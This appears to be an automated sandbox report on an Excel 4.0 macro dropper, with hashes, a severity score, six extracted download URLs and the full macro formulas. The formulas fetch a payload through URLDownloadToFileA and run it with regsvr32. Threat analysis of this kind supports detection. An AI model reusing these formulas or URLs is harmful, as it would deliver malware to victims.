General

  • Target

    c7e1246cea308fa5ccf0f6ab47878ed3b4bc721b404ffd25d486c95587140a94

  • Size

    48KB

  • Sample

    241120-xbvc6ssalm

  • MD5

    2c8e9fd090f05c55ab7e1c20fb607974

  • SHA1

    4f16d9200a44c769ed9e957b432b4d89c6aa5e01

  • SHA256

    c7e1246cea308fa5ccf0f6ab47878ed3b4bc721b404ffd25d486c95587140a94

  • SHA512

    8e6a7617168aef76eb5fe892dddcec377e1c99b39bd6c96bf5c389b232cfedbff4988c8ebe15f74923c6d7cc52620949c0990240c6743bdde70edf626effa074

  • SSDEEP

    768:k2uCkFF/vxRhR0KDNWBA7rTj+RYV8Q0RuVBR2jPrtysHRX0BAR5:LuTlbMKDNck01u/R2rZyjB+5

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://henrysfreshroast.com/OevI7Yy0i6YShxFl/

http://www.ajaxmatters.com/c7g8t/nnzJJ1rKFD2P/

http://aopda.org/wp-content/uploads/5oTAVJyjDFOllX2uE/

https://winnieswondersaviary.com/wp-content/mxPfty43IionmElgK3h/

http://1000paginas.com/tienda/vWtT/

http://crm.techopesolutions.com/b48om9p6/vquxKuTvTj/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://henrysfreshroast.com/OevI7Yy0i6YShxFl/","..\si.ocx",0,0) =IF('LGGDGB'!E11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.ajaxmatters.com/c7g8t/nnzJJ1rKFD2P/","..\si.ocx",0,0)) =IF('LGGDGB'!E13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://aopda.org/wp-content/uploads/5oTAVJyjDFOllX2uE/","..\si.ocx",0,0)) =IF('LGGDGB'!E15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://winnieswondersaviary.com/wp-content/mxPfty43IionmElgK3h/","..\si.ocx",0,0)) =IF('LGGDGB'!E17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://1000paginas.com/tienda/vWtT/","..\si.ocx",0,0)) =IF('LGGDGB'!E19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://crm.techopesolutions.com/b48om9p6/vquxKuTvTj/","..\si.ocx",0,0)) =IF('LGGDGB'!E21<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\si.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://henrysfreshroast.com/OevI7Yy0i6YShxFl/

Targets

    • Target

      c7e1246cea308fa5ccf0f6ab47878ed3b4bc721b404ffd25d486c95587140a94

    • Size

      48KB

    • MD5

      2c8e9fd090f05c55ab7e1c20fb607974

    • SHA1

      4f16d9200a44c769ed9e957b432b4d89c6aa5e01

    • SHA256

      c7e1246cea308fa5ccf0f6ab47878ed3b4bc721b404ffd25d486c95587140a94

    • SHA512

      8e6a7617168aef76eb5fe892dddcec377e1c99b39bd6c96bf5c389b232cfedbff4988c8ebe15f74923c6d7cc52620949c0990240c6743bdde70edf626effa074

    • SSDEEP

      768:k2uCkFF/vxRhR0KDNWBA7rTj+RYV8Q0RuVBR2jPrtysHRX0BAR5:LuTlbMKDNck01u/R2rZyjB+5

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks